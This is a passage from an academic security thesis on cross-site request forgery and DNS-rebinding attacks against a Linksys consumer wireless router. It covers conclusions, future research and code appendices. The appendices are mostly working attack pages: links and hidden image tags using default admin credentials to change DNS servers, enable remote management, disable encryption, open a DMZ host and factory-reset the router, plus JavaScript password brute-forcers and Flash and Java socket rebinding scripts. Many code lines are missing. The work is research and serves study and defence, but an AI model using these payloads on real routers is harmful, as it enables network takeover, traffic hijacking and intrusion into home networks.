forcing the password of the wireless router and then subsequently modifying the 
wireless router. This was able to be performed in the latest version of Firefox 
using JRE 1.6.0.  
Each of the attacks had their own individual strengths and weaknesses. 
Some of the attacks were only successful on certain browsers, while others 
required specific software running on the victim. It may be possible to create a 
malicious webpage that utilizes the strengths of each of the attacks. The 
webpage could potentially detect the browser as well as other configuration 
settings of the system and then determine which attack(s) to run. Not only would 
this increase the number of wireless routers that an attacker could infect, it would 
also be able to maintain stealth. If it is determined that none of the attacks can be 
performed then the script would simply end without giving any errors or indication 
to the user that something out of the ordinary occurred. Using all of the attacks 
demonstrated in this research coupled with the statistic that over one third of 
wireless routers are using default passwords, a very large percentage of 
networks using wireless routers are vulnerable to the CSRF attacks presented in 
this research. Additionally, many other attacks can potentially be constructed that 
use a web browser as an attack vector to affect wireless routers. Below is a table 






CHAPTER 5. CONCLUSION 
5.1. Summary 
The research demonstrated many different ways to modify the settings 
and gain control of a wireless router through several different CSRF attacks. 
Additionally, the research highlighted an attack vector through browsers that can 
be used to affect wireless routers. The attacks are capable of changing the 
settings of a wireless router in any way that can be done through the web 
management interface. For example, an attacker can change the password of 
the wireless router and enable it to be managed from the internet (WAN 
interface), giving the attacker complete and persistent control over the wireless 
router. By controlling the wireless router, an attacker has full access to the 
private home network. This can be used as a means to attack potentially 
unsecured internal systems. Even more dangerous, the attacker can control the 
DNS of the wireless router making it point to the attacker’s malicious DNS server. 
An attacker may use this to perform MITM attacks or other fishing schemes. An 
attacker may even be able to re-flash the firmware of the wireless router with 
arbitrary code. There is no limit to what an attacker might do after gaining control 
of the wireless router. Further, as wireless routers continue to gain popularity, 
attackers are gaining more incentive to target them. Attackers are no longer 
simply exploiting computer systems for fun or prestige; it has become a billion 
dollar industry. While wireless routers provide convenience, it comes at a risk. 
Users need to be aware of these potential threats and safeguard themselves as 
much as possible. It is also important for future research to be done on ways to 
prevent the attacks demonstrated in this research and to continue analyzing 
wireless routers for other vulnerabilities. 
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5.2. Future Research 
The research performed in this thesis analyzed a number of different web 
technologies that could be used to perform CSRF attacks against a Linksys 
wireless router. However, there are many additional web technologies that were 
not researched where CSRF attacks can potentially be exploited. To name a few: 
browser plug-ins, Microsoft Silverlight, Active X, and JavaFX. Further, web 
technologies are constantly changing. It is important to continually analyze new 
software and updated versions of old software for CSRF vulnerabilities. 
Additionally, different firmware and other brands of wireless routers need to be 
analyzed. While this research primarily focused on CSRF attacks, there are 
many other types of attacks which can be performed against wireless routers. 
Attacks such as buffer overflows and format string attacks are important to 
research as well. Moreover, if a vulnerability can be exploited it is important to 
understand the consequences of it. For this reason, researching the possibility of 
running code on a wireless router and creating malicious firmware is also of 
interest. Other potentially interesting things to investigate are making use of 
multiple wireless interfaces within a wireless router, flashing a wireless router 
over wireless medium, flashing a wireless router using a URL attack, restore a 
set of configuration settings via a URL attack, crack WEP on a wireless router 
using Airodump, Aireplay, and Aircrack, and finally to analyze the security of the 
Linksys SES (Secure Easy Setup) feature which configures a wireless router at 
the push of a button.
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//route page = the route number - maximum of 20 (0-19) 
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Appendix B.  
URL Attack - Browser already authenticated or stored credentials in the browser 
 
****************************************************************************** 
<h1> URL Attacks - User already authenticated or credentials stored in browser 
</h1> 
 
<p> Tests if a private page can be accessed <br /> 
<a href="http://192.168.1.1/Filters.asp">click me</a> </p> 
 
<p> Changes the SSID of the wireless router <br /> 
<a href="http://192.168.2.1/apply.cgi?submit_button=Wireless_Basic&acti
on=Apply&submit_type=&change_action=&next_page=&wl_net_mode=mixed&wl_ss
id=linksys2&wl_channel=6&wl_closed=0">click me</a> </p> 
 
<!-- Denial of Service Attacks --> 










-08+1+1&_daylight_time=1">click me</a> </p> 
 
<p> Change the WAN IP address to a static 192.168.5.4 <br /> 
<!--  
Changes WAN IP address to a static 192.168.5.4 
subnet mask 255.255.255.0 
default gw 192.168.5.1 



























0">click me</a> </p> 
 
<p> Deny all internet traffic via access restriction – deny the above list of devices 




&day_all=1&time_all=1&allday= ">click me</a> </p> 
 
<p> Disable wireless network <br /> 
<a href="http://192.168.2.1/apply.cgi?submit_button=Wireless_Basic&acti
on=Apply&submit_type=&change_action=&next_page=&wl_net_mode=disabled 
">click me</a> </p> 
<!-- End Denial of Service Attacks --> 
 
<p> Advanced Routing - send all traffic destined to a specific LAN computer to 
another internet host <br /> 
<!-- 
Destination LAN IP : 192.168.1.5 
Subnet Mask : 255.255.255.255 
Default Gateway : 74.5.4.3 











<p> Modify DNS <br /> 
<!-- 
static dns1: 5.5.5.5 
static dns2: 4.4.4.4 














-08+1+1&_daylight_time=1">click me</a> </p> 
 







pro8=both&ip8=0&name9=&from9=0&to9=0&pro9=both&ip9=0">click me</a> </p> 
 
<p> Create DMZ host 192.168.1.5 <br /> 
<a href="http://192.168.2.1/apply.cgi?submit_button=DMZ&change_action=&
action=Apply&dmz_enable=1&dmz_ipaddr=5">click me</a> </p> 
 
<!-- UPnP is enabled by default and can also be turned on if it has been disabled 
--> 
 
<!-- Management --> 
<!--  
No SSH server 
HTTP web management interface is enabled by default to both LAN and WLAN 
interfaces 
Remote (WAN) Management can be enabled on any port 
--> 
<p> Remote (WAN) Web Management (port 8080) <br /> 
<!-- The web GUI does not allow remote management to be enabled with the 
default password still in use. However, the following link circumvents that 
restriction and enables web management on the WAN interface using the default 





emote_management=1&upnp_enable=1">click me</a> </p> 
 









<!-- Wireless Security --> 
 
<p> Change wireless security key to WPA2 Personal AES (password = 




a_gtk_rekey=3600">click me</a> </p> 
 
<p> Disable wireless security (encryption) <br /> 
<a href="http://192.168.2.1/apply.cgi?submit_button=WL_WPATable&change_
action=&submit_type=&action=Apply&security_mode_last=&wl_wep_last=&secu
rity_mode2=disabled">click me</a> </p> 
 

































Appendix C.  
URL – Attack - Credentials Embedded within the URL 
 
****************************************************************************** 
<h1> URL Attacks - Credentials within the URL </h1> 
 
<p> Tests if a private page can be accessed <br /> 
<a href="http://admin:admin@192.168.1.1/Filters.asp">click me</a> </p> 
 
<p> Changes the SSID of the wireless router <br /> 
<a href="http://admin:admin@192.168.2.1/apply.cgi?submit_button=Wireles
s_Basic&action=Apply&submit_type=&change_action=&next_page=&wl_net_mode
=mixed&wl_ssid=linksys2&wl_channel=6&wl_closed=0">click me</a> </p> 
 
<!-- Denial of Service Attacks --> 










0&time_zone=-08+1+1&_daylight_time=1">click me</a> </p> 
 
<p> Change the WAN IP address to a static 192.168.5.4 <br /> 
<!--  
Changes WAN IP address to a static 192.168.5.4 
subnet mask 255.255.255.0 
default gw 192.168.5.1 



























ip_range1_1=0">click me</a> </p> 
 
<p> Deny all internet traffic via access restriction – deny the above list of devices 




status2=deny&day_all=1&time_all=1&allday= ">click me</a> </p> 
 
<p> Disable wireless network <br /> 
<a href="http://admin:admin@192.168.2.1/apply.cgi?submit_button=Wireles
s_Basic&action=Apply&submit_type=&change_action=&next_page=&wl_net_mode
=disabled ">click me</a> </p> 
<!-- End Denial of Service Attacks --> 
 
<p> Advanced Routing - send all traffic destined to a specific LAN computer to 
another internet host <br /> 
<!-- 
Destination LAN IP : 192.168.1.5 
Subnet Mask : 255.255.255.255 
Default Gateway : 74.5.4.3 









d=0">click me</a> </p> 
 
<p> Modify DNS <br /> 
<!-- 
static dns1: 5.5.5.5 
static dns2: 4.4.4.4 














2&time_zone=-08+1+1&_daylight_time=1">click me</a> </p> 
 










<p> Create DMZ host 192.168.1.5 <br /> 
<a href="http://admin:admin@192.168.2.1/apply.cgi?submit_button=DMZ&cha
nge_action=&action=Apply&dmz_enable=1&dmz_ipaddr=5">click me</a> </p> 
 
<!-- UPnP is enabled by default and can also be turned on if it has been disabled 
--> 
 
<!-- Management --> 
<!--  
No SSH server 
HTTP web management interface is enabled by default to both LAN and WLAN 
interfaces 
Remote Management can be enabled on any port 
--> 
<p> Remote Web Management (port 8080) <br /> 
<!-- The web GUI does not allow remote management to be enabled with the 
default password still in use. However, the following link circumvents that 
restriction and enables web management on the WAN interface using the default 





_port=8080&remote_management=1&upnp_enable=1">click me</a> </p> 
 









<!-- Wireless Security --> 
 
<p> Change wireless security key to WPA2 Personal AES (password = 




ssword&wl_wpa_gtk_rekey=3600">click me</a> </p> 
 
<p> Disable wireless security (encryption) <br /> 
<a href="http://admin:admin@192.168.2.1/apply.cgi?submit_button=WL_WPAT
able&change_action=&submit_type=&action=Apply&security_mode_last=&wl_we
p_last=&security_mode2=disabled">click me</a> </p> 
 
<p> Reset to factory defaults <br /> 
<a href="http://admin:admin@192.168.2.1/apply.cgi?submit_button=Factory
_Defaults&change_action=&action=Restore&wait_time=19&FactoryDefaults=1"






























Appendix D.  
Image Attack -Browser already authenticated or stored credentials in the browser 
 
****************************************************************************** 
<h1> Image Attacks - User already authenticated or credentials stored in browser 
</h1> 
 
<p> Tests if a private page can be accessed <br /> 
<img src="http://192.168.1.1/Filters.asp" /></p> 
 





<!-- Denial of Service Attacks --> 












<p> Change the WAN IP address to a static 192.168.5.4 <br /> 
<!--  
Changes WAN IP address to a static 192.168.5.4 
subnet mask 255.255.255.0 
default gw 192.168.5.1 




























<p> Deny all internet traffic via access restriction – deny the above list of devices 




y&day_all=1&time_all=1&allday= " /></p> 
 




<!-- End Denial of Service Attacks --> 
 
<p> Advanced Routing - send all traffic destined to a specific LAN computer to 
another internet host <br /> 
<!-- 
Destination LAN IP : 192.168.1.5 
Subnet Mask : 255.255.255.255 
Default Gateway : 74.5.4.3 










<p> Modify DNS <br /> 
<!-- 
static dns1: 5.5.5.5 
static dns2: 4.4.4.4 





























<!-- UPnP is enabled by default and can also be turned on if it has been disabled 
--> 
 
<!-- Management --> 
<!--  
No SSH server 
HTTP web management interface is enabled by default to both LAN and WLAN 
interfaces 
Remote Management can be enabled on any port 
--> 
<p> Remote Web Management (port 8080) <br /> 
<!-- The web GUI does not allow remote management to be enabled with the 
default password still in use. However, the following link circumvents that 
restriction and enables web management on the WAN interface using the default 

















<p> Change wireless security key to WPA2 Personal AES (password = 














































Appendix E.  
Image Attack – Credentials embedded within the URL 
 
****************************************************************************** 
<h1> Image Attacks - Credentials within the URL </h1> 
 
<p> Tests if a private page can be accessed <br /> 
<img src="http://admin:admin@192.168.1.1/Filters.asp" /></p> 
 





<!-- Denial of Service Attacks --> 












<p> Change the WAN IP address to a static 192.168.5.4 <br /> 
<!--  
Changes WAN IP address to a static 192.168.5.4 
subnet mask 255.255.255.0 
default gw 192.168.5.1 





























<p> Deny all internet traffic via access restriction – deny the above list of devices 




_status2=deny&day_all=1&time_all=1&allday= " /></p> 
 
<p> Disable wireless network <br /> 
<img src="http://admin:admin@192.168.2.1/apply.cgi?submit_button=Wirele
ss_Basic&action=Apply&submit_type=&change_action=&next_page=&wl_net_mod
e=disabled " /></p> 
<!-- End Denial of Service Attacks --> 
 
<p> Advanced Routing - send all traffic destined to a specific LAN computer to 
another internet host <br /> 
<!-- 
Destination LAN IP : 192.168.1.5 
Subnet Mask : 255.255.255.255 
Default Gateway : 74.5.4.3 











<p> Modify DNS <br /> 
<!-- 
static dns1: 5.5.5.5 
static dns2: 4.4.4.4 






























<!-- UPnP is enabled by default and can also be turned on if it has been disabled 
--> 
 
<!-- Management --> 
<!--  
No SSH server 
HTTP web management interface is enabled by default to both LAN and WLAN 
interfaces 
Remote Management can be enabled on any port 
--> 
<p> Remote Web Management (port 8080) <br /> 
<!-- The web GUI does not allow remote management to be enabled with the 
default password still in use. However, the following link circumvents that 
restriction and enables web management on the WAN interface using the default 
















<!-- Wireless Security --> 
 
<p> Change wireless security key to WPA2 Personal AES (password = 












































Appendix F.  
Details of components used in Phase I of the research: 
 
Wireless Router: 
Linksys WRT54GL - S/N CL7A0F107994 (version 1.0) 
Firmware Version: v4.30.0 
Factory Default Settings 
 
Operating Systems: 
Windows 2003 Server R2 Enterprise Edition SP2 (server/attacker) 
Windows XP Professional SP2 (VM) (client/victim) 
Backtrack 3 Final: Linux Kernel 2.6.21.5 (VM) (server/attacker)  
 
Browsers: 
Firefox version 3.5.5 (2003 Server/XP) 
Firefox version 3.5.6 (2003 Server/XP) 
Firefox version .8 (XP) 
IE version 8.0.6001.18702 (2003 Server) 
IE version 6.0.2900.2180 (XP) 
 
Web Servers: 
Apache/2.2.8 (Backtrack 3) 
























Appendix G.  
Details of components used in Phase II of the Research: 
 
Wireless Router: 
Linksys WRT54GL - S/N CL7A0F107994 (version 1.0) 
Firmware Version: v4.30.0 
Factory Default Settings 
 
Operating Systems: 
Windows 2003 Server R2 Enterprise Edition SP2 (server/attacker) 
Windows XP Professional SP2 (VM) (client/victim) 
 
Web Server: 
Microsoft IIS (version 6.0.3790.4195) 
 
Browsers: 
Firefox version .8 (XP) 
Firefox version 3.5.5 (XP) 
IE version 6.0.2900.2180 (XP) 
 
Configure IIS V6.0 to use basic authentication: 
 
Web pages are located in: 
C:\Inetpub\wwwroot 
 
Enable basic authentication for a web page: (Need to be Administrator) 
Place the private webpage in the wwwroot folder 
Right click My Computer -> Manage 
Click the "+" icon to expand "Services and Applications" 
Click the "+" icon to expand "Internet Information Services (IIS) Manager" 
Click the "+" icon to expand "Web Sites" 
Click on "Default Web Site" 
In the right column, right click on the specific web page which basic 
authentication is to be enabled -> properties 
Click the File Security tab 
Click Edit under "Authentication and access control" 
Click "Enable anonymous access" to take the check mark away and disable 
anonymous access 
Click "Basic authentication (password is sent in clear text)" to check the box and 
enable basic authentication 
 
Add a user for basic authentication: 
start -> run: lusrmgr.msc 
90 
 
Create a new user and put the user in the “User” Group. (or give the user 
permissions to the specific file that requires basic authentication) 
 
DNS Pinning: 
In order to test the DNS pinning of the target browsers, the windows Hosts file 
was used. The researcher manually changed the IP address for a specific 
Domain (attacker.com). The researcher then continued to load (attacker.com) in 
order to determine how long it took the browser to load the webpage at the IP 
address that attacker.com was changed to.  
 
Location of Hosts file on Windows XP: 
C:\WINDOWS\system32\drivers\etc\hosts 
 
Since browsers also use the TTL field on DNS responses to determine how long 
to cache the entry, it was important that the method used had a TTL of zero or 
one second. It was determined that entries obtained from the Hosts file do not 
have a TTL and are simply kept until the entry is removed from the Hosts file 
(Host Name Resolution, 2005). 
 
The following are the results to the above DNS pinning research: 
 
Firefox 3.5.5 
Tests that were performed found that Mozilla Firefox 3.5.5 pinned DNS entries in 
some cases for up to 10 minutes. In other cases, Firefox did not pin at all. 
192.168.1.2  attacker.com 
Changing the IP address from 192.168.2.1 to 192.168.1.2 did not have any DNS 
pinning. However, in the reverse case there was DNS pinning for a varying 
amount of time. This may be due to the fact that the request to 192.168.2.1 
received a “401 Unauthorized” response. 
 
~3 minutes to go from Purdue.edu to Muohio.edu (when constantly clicking) 
~3 minutes to go from Miami.edu to Purdue.edu (when constantly clicking) 
 
IE 6.0 
Pins for 30 minutes 
 
Note: 
192.168.1.1  attacker.com 
192.168.1.1  test.com 
In the above circumstance, when one logs in to the wireless router under a 
certain domain the session is only for that domain. So if the person logs in to the 
router under attacker.com then the cookie is stored for the entire session. 
However, although that cookie is valid if you go to test.com (since it is actually 
referring to the same IP address) it still requires you to authenticate. Even though 
91 
 
it is the exact same website, the web browser does not send the session 
information when a different domain is used. 
 
After performing this research, the researcher found a paper which specified the 
DNS pinning duration of several different browsers including IE and Firefox. The 
results of the paper corresponded to the results found in this research (Jackson, 
Barth, Bortz, Shao & Boneh, 2007). 
 
DNS Rebinding: 
*192.168.1.2 = IIS Web Server 
*192.168.2.1 = Linksys Router 
Added entry in Hosts file: 
192.168.1.2  attacker.com 
Went to http://attacker.com/test22.html (attack web page) 
The webpage displays an alert box before proceeding to load the page 
At this time, a firewall is configured to block the client from 192.168.1.2 and the 
Hosts file is modified to: 
192.168.2.1 attacker.com 
The researcher then proceeded to click on the alert box which executed the rest 
of the JavaScript 
 
Firefox 3.5.5 – Failed – after sending the request via http.send, Firefox attempted 
to connect for about 2 minutes and then stopped 
IE 6 – Failed – after sending the request via http.send, IE attempted to connect 
for about 2 minutes and then stopped 
Firefox .8 – Success - after http.send it attempts to connect for about 2 minutes 
at which time it re-looked up the IP address associated to attacker.com and the 
attack took place 
 
Code for the attacks: 
 
The following was used as a reference in implementing some of the code 
(James, n.d.).  
 












test.html – This was used as a private web page that required basic 
authentication in order to access. 
************************************************************************ 
<html> 

















































<title>Router Hacking Test Bed - Javascript Furry (Public)</title> 
<script type="text/javascript"> 
 
alert("start of attack..."); 
 
var http = getHTTPObject();  
if(!http) { 
 alert("failed to get HTTPObject"); 
} 
alert("open http connection..."); 
http.open("get", "test.html", false, "test", "password"); 
alert("send http request..."); 
http.send(""); 
alert("http request sent"); 
if (http.status == 200) { 
 alert("received 200 OK response"); 
} else { 








function getHTTPObject() { 
 var xmlhttp = false; 
 if (typeof XMLHttpRequest != 'undefined') { 
  try { 
   xmlhttp = new XMLHttpRequest(); 
  } catch (e) { 
   xmlhttp = false; 
  } 
 } else { 
        /*@cc_on 
        @if (@_jscript_version >= 5) 
            try { 
                xmlhttp = new ActiveXObject("Msxml2.XMLHTTP"); 
            } catch (e) { 
                try { 
                    xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); 
                } catch (E) { 
                    xmlhttp = false; 
                } 
            } 
        @end @*/ 
    } 





















































test22.html – Manual test performed against the wireless router. This was 
primarily used to debug where the attacks were failing and to figure out how to 




<title>Router Hacking Test Bed - Javascript Furry (Public)</title> 
<script type="text/javascript"> 
 
alert("change ip address now..."); 
 
var http = getHTTPObject();  
if(!http) { 
 alert("failed to get HTTPObject"); 
} 











08+1+1&_daylight_time=1", false, "admin", "admin"); 
alert("send http request..."); 
http.send(""); 
alert("http request sent"); 
if (http.status == 200) { 
 alert("success"); 
} else { 









function getHTTPObject() { 
 var xmlhttp = false; 
 if (typeof XMLHttpRequest != 'undefined') { 
  try { 
   xmlhttp = new XMLHttpRequest(); 
  } catch (e) { 
   xmlhttp = false; 
  } 
 } else { 
        /*@cc_on 
        @if (@_jscript_version >= 5) 
            try { 
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                xmlhttp = new ActiveXObject("Msxml2.XMLHTTP"); 
            } catch (e) { 
                try { 
                    xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); 
                } catch (E) { 
                    xmlhttp = false; 
                } 
            } 
        @end @*/ 
    } 









































test23.html – This script adds a 3 minute delay before sending the attack. The 
timeout was used to bypass Firefox DNS pinning. The Attack worked on both 
versions of Firefox (3.5.5 and .8). The script was modified to a 30 minute delay 




<title>Router Hacking Test Bed - Javascript Furry (Public)</title> 
<script type="text/javascript"> 
 
/*****   THREE MINUTE TIMEOUT - WORKS AGAINST FIREFOX 3.5.5   *****/ 






//The setTimeout method requires a function to call 
function test() { 
 
alert("3 minute delay"); 
 
var http = getHTTPObject();  
if(!http) { 
 alert("failed to get HTTPObject"); 
} 











08+1+1&_daylight_time=1", false, "admin", "admin"); 
alert("send http request..."); 
http.send(""); 
alert("http request sent"); 
if (http.status == 200) { 
 alert("success"); 
} else { 








function getHTTPObject() { 
 var xmlhttp = false; 
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 if (typeof XMLHttpRequest != 'undefined') { 
  try { 
   xmlhttp = new XMLHttpRequest(); 
  } catch (e) { 
   xmlhttp = false; 
  } 
 } else { 
        /*@cc_on 
        @if (@_jscript_version >= 5) 
            try { 
                xmlhttp = new ActiveXObject("Msxml2.XMLHTTP"); 
            } catch (e) { 
                try { 
                    xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); 
                } catch (E) { 
                    xmlhttp = false; 
                } 
            } 
        @end @*/ 
    } 

































test24.html – This script attempts to brute force the login credentials of the 
wireless router by attempting all of the passwords in a list of arbitrary size until a 
correct password is found. The attack was tested in both Firefox and in IE. In 
Firefox a delay of 3 minutes was used while in IE a delay of 30 minutes was 
used. The attack works perfectly in IE 6. In IE the script continues to brute force 
the password of the WR with no warning to the user. In both versions of Firefox 
the attack was not as successful. Every time an unsuccessful password attempt 
was made Firefox would display the basic authentication dialog box. The next 
password attempt would occur if the user clicked “Cancel” or clicked the close 
button on the basic authentication dialog box. This continued until all of the 
passwords in the list were attempted or until the user closed the browser. 
The easiest way for a user to stop the attack would be to close the browser from 
the task manager since Firefox will not allow you to close it when there is an 




<title>Router Hacking Test Bed - Javascript Furry (Public)</title> 
<script type="text/javascript"> 
 
/******** THIS TRIES TO BRUTE FORCE THE LOGIN CREDENTIALS OF THE ROUTER 
********/ 
 
var passwords=new Array("test1","password","admin", "test3", "abc"); 
 
alert("change ip address now..."); 
setTimeout("bruteForce()",180000); //3 minute timeout 
 
function bruteForce() { 
 alert("3 minute delay finished"); 
 var i=0; 
 for(i=0; i<passwords.length; i++) { 
  if( sendAttack(passwords[i]) ) { 
   alert("attack successful!!!"); 
   break; //break if it is successful 
  } 
 } 
 alert("password not found"); 
} 
 
//Returns true if successful or false if unsuccessful 
function sendAttack(password) { 
  
var http = getHTTPObject();  
if(!http) { 




















if (http.status == 200) { 
 return true; 
} else { 
 return false; 
} 
return false; 
} //end of function 
 
 
function getHTTPObject() { 
 var xmlhttp = false; 
 if (typeof XMLHttpRequest != 'undefined') { 
  try { 
   xmlhttp = new XMLHttpRequest(); 
  } catch (e) { 
   xmlhttp = false; 
  } 
 } else { 
        /*@cc_on 
        @if (@_jscript_version >= 5) 
            try { 
                xmlhttp = new ActiveXObject("Msxml2.XMLHTTP"); 
            } catch (e) { 
                try { 
                    xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); 
                } catch (E) { 
                    xmlhttp = false; 
                } 
            } 
        @end @*/ 
    } 














test25.html – This test attempted to make all of the attack requests 
asynchronous in hope that it would prevent the authentication dialog box after an 




<title>Router Hacking Test Bed - Javascript Furry (Public)</title> 
<script type="text/javascript"> 
 
/*** this failed... same thing happens... popup boxes... ***/ 
/******** THIS TRIES TO BRUTE FORCE THE LOGIN CREDENTIALS OF THE ROUTER 
********/ 
 
var passwords=new Array("test1","password","admin", "test3", "abc"); 
 
alert("change ip address now..."); 






function bruteForce(i) { 
 //alert("3 minute delay finished"); 
  
 if( sendAttack(passwords[i]) ) { 





//Returns true if successful or false if unsuccesful 
function sendAttack(password) { 
  
var http = getHTTPObject();  
if(!http) { 













08+1+1&_daylight_time=1", false, "admin", password); //true makes it so 






if (http.status == 200) { 
 return true; 
} else { 
      //alert("Incorrect username and/or password!"); 
 return false; 
} 
return false; 
} //end of function 
 
 
function getHTTPObject() { 
 var xmlhttp = false; 
 if (typeof XMLHttpRequest != 'undefined') { 
  try { 
   xmlhttp = new XMLHttpRequest(); 
  } catch (e) { 
   xmlhttp = false; 
  } 
 } else { 
        /*@cc_on 
        @if (@_jscript_version >= 5) 
            try { 
                xmlhttp = new ActiveXObject("Msxml2.XMLHTTP"); 
            } catch (e) { 
                try { 
                    xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); 
                } catch (E) { 
                    xmlhttp = false; 
                } 
            } 
        @end @*/ 
    } 













Appendix H.  
Socket connection via telnet in backtrack 3. This attack modified the name, 
hostname, domain, and DNS servers of the WR. It was successful given that the 
password was known. The following is an attack example that uses the default 
credentials of admin/admin. 
 
telnet 192.168.1.1 80 
POST /apply.cgi HTTP/1.1 
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/vnd.ms-
excel, application/vnd.ms-powerpoint, application/msword, application/x-ms-
application, application/x-ms-xbap, application/vnd.ms-xpsdocument, 
application/xaml+xml, application/x-shockwave-flash, */* 
Referer: http://192.168.2.1/apply.cgi 
Accept-Language: en-us 
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; 
.NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 
3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) 
Content-Type: application/x-www-form-urlencoded 




























Appendix I.  
Code used in the JavaScript / Flash attack. 
 
(Anti-DNS Pinning ( DNS Rebinding ) + Socket in FLASH, n.d.) was used as a 
reference in implementing the code for this attack. 
 
flash.html – dependencies: socket.swf 
************************************************************************ 








 * ---------------------------------- 
 * SocketJS Functions 
 * ---------------------------------- 
 * (c) 2006 by Manfred Weber 
 * ---------------------------------- 
 */ 
/* 
 * SocketOnInit() 
 * Event Handler is called when Flash File is loaded 
 */ 
 function SocketOnInit(){}; 
/* 
 * SocketOnData() 
 * Event Handler is called when received Data 
 */ 
 function SocketOnData(data){ 
     //document.getElementById("output").value += "\n"+data; 




 * SocketOnConnect(success); 
 * Event Handler is called when socket is connected 
 */ 
 function SocketOnConnect(success){ 
     if(success=="true"){ 
         alert("connected successfully"); 
     } else{ 
         alert("connection failed"); 
     } 
 } 
/* 
 * SocketOnClose 
 * Event Handler is calles when socket is closed 
 */ 
 function SocketOnClose(){ 
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     document.getElementById("output").value += "\n Connection closed"; 
 } 
/* 
 * SocketClose() 
 * Close the Socket 
 */ 
 function SocketClose(){ 
     window.document.socket.TCallLabel("/", "close" ); 
 } 
/* 
 * SocketConnect(host,port) 
 * Connect to socket. Notice that host must be the same where the .swf 
file resides! 
 */ 
 function SocketConnect(host,port){ 
     window.document.socket.SetVariable("host", host); 
     window.document.socket.SetVariable("port", port); 
     window.document.socket.TCallLabel("/", "connect" ); 
 } 
/* 
 * SocketSend(data) 
 * Send data to open socket 
 */ 
 function SocketSend(data){ 
     SocketConnect('192.168.1.2',80); 
     window.document.socket.SetVariable("data", data); 








Send data via sockets. <br /><br /> 
<form name="form1" onSubmit="SocketConnect('192.168.1.2',80);" 
action="#"> 
 
<input style="width:100%" type="button" value="Connect" 
onClick="SocketConnect('192.168.1.2',80);"> 
<input type="button" style="width:100%" name="send" value="Send" 
onClick="SocketSend('GET /index.html HTTP/1.1');"> 






lash.cab#version=8,0,0,0" width="1" height="1" id="socket" 
align="middle"> 
<param name="allowScriptAccess" value="always" /> 
<param name="movie" value="socket.swf" /><param name="quality" 
value="high" /><param name="bgcolor" value="#ffffff" /><embed 
src="socket.swf" quality="high" bgcolor="#ffffff" width="1" height="1" 










 width=1 height=1 id="socket"> 
    <param name="allowScriptAccess" value="always" /> 
    <param name=movie value="socket.swf"> 
    <param name=quality value=high> 
    <embed src="socket.swf" allowScriptAccess="always" quality=high 
width=1 height=1 type="application/x-shockwave-flash" 
pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_
Prod_Version=ShockwaveFlash" name="socket" swLiveConnect="true"> 
    </embed>  



































Appendix J.  











Firefox 3.5.6 and JRE 1.6.0 
 Firefox 3.5.8 and JRE 1.6.0 
Failure: 
 Firefox 3.5.6 and JRE 1.6.18 
 Firefox 3.5.8 and JRE 1.6.18 
 IE version 6.0.2900.2180 
 
(Anti-DNS Pinning ( DNS Rebinding ) + Java in JavaScript, n.d.) was used as a 























<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-
1"> 
<title>Java Router Attack!</title> 
</head> 
<body bgcolor="white" text="black"> 
 






function startAttack() { 
 var sock = null; 
 
 try { 
  sock = new java.net.Socket( "attacker.com", 80 ); 
 } catch( e ) { 
  document.write("Cannot connect to attacker.com on port 
80.<br />"); 
  document.write("IP address associated to attacker.com is " 
+ sock.getInetAddress().getHostAddress() + "<br />"); 
  return; 
 } 
  
 //port is open 
 document.write("IP address associated to attacker.com is " + 
sock.getInetAddress().getHostAddress() + "<br />"); 
 
 var outs = null; 
 
 var attackBuffer = ''; 
 attackBuffer += 'POST /apply.cgi HTTP/1.1\r\n'; 
 attackBuffer += 'Accept: image/gif, image/jpeg, image/pjpeg, 
image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, 
application/msword, application/x-ms-application, application/x-ms-
xbap, application/vnd.ms-xpsdocument, application/xaml+xml, 
application/x-shockwave-flash, */*\r\n'; 
 attackBuffer += 'Referer: http://192.168.2.1/apply.cgi\r\n'; 
 attackBuffer += 'Accept-Language: en-us\r\n'; 
 attackBuffer += 'User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; 
Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; 
.NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; 
.NET CLR 3.5.30729)\r\n'; 
 attackBuffer += 'Content-Type: application/x-www-form-
urlencoded\r\n'; 
 attackBuffer += 'Accept-Encoding: gzip, deflate\r\n'; 
 attackBuffer += 'Host: 192.168.2.1\r\n'; 
 attackBuffer += 'Content-Length: 651\r\n'; 
 attackBuffer += 'Proxy-Connection: Keep-Alive\r\n'; 
 attackBuffer += 'Pragma: no-cache\r\n'; 
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 attackBuffer += 'Authorization: Basic YWRtaW46YWRtaW4=\r\n'; 
 attackBuffer += '\r\n'; 












 var attackBytes = new Array(attackBuffer.length);  
 var i = 0; 
  
 //converts string into byte array 
 for(i = 0; i < attackBuffer.length; i++) { 
  attackBytes[i] = attackBuffer.charCodeAt(i); 
 } 
 
 try { 
  outs = sock.getOutputStream(); 
  outs.write(attackBytes); 
  outs.flush(); 
 } catch(e) { 
  document.write("error sending attack data.<br />"); 
  document.write("<br />" + e.toString() + "<br />"); 
 } 
 





function handleResponse( sock, ins ) 
{ 
 document.write("handling the response data...<br />"); 
 try { 
  var response = ins.available(); 
  var buf = ''; 
  if( response > 0 ) { 
   for(var j = 0; j < response; j++) { 
    buf += String.fromCharCode( ins.read() ); 
   } 
   document.write( 'DATA(port ' + sock.getPort() + '): ' 
+ buf + '<br />'); 
  } else { 
   document.write("No response data available.<br />"); 
  }  
 } catch( e ) { 









document.write("Java Router Attack!<br /><br />"); 
alert("change dns now..."); 










































exploit5.html – Brute force the password of the wireless router and send an 




<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-
1"> 
<title>Java Router Attack!</title> 
</head> 
<body bgcolor="white" text="black"> 
 





/******** THIS TRIES TO BRUTE FORCE THE LOGIN CREDENTIALS OF THE ROUTER 
********/ 
/* This works with latest version of firefox (3.58) and older version 
of JRE (1.6.0) */ 







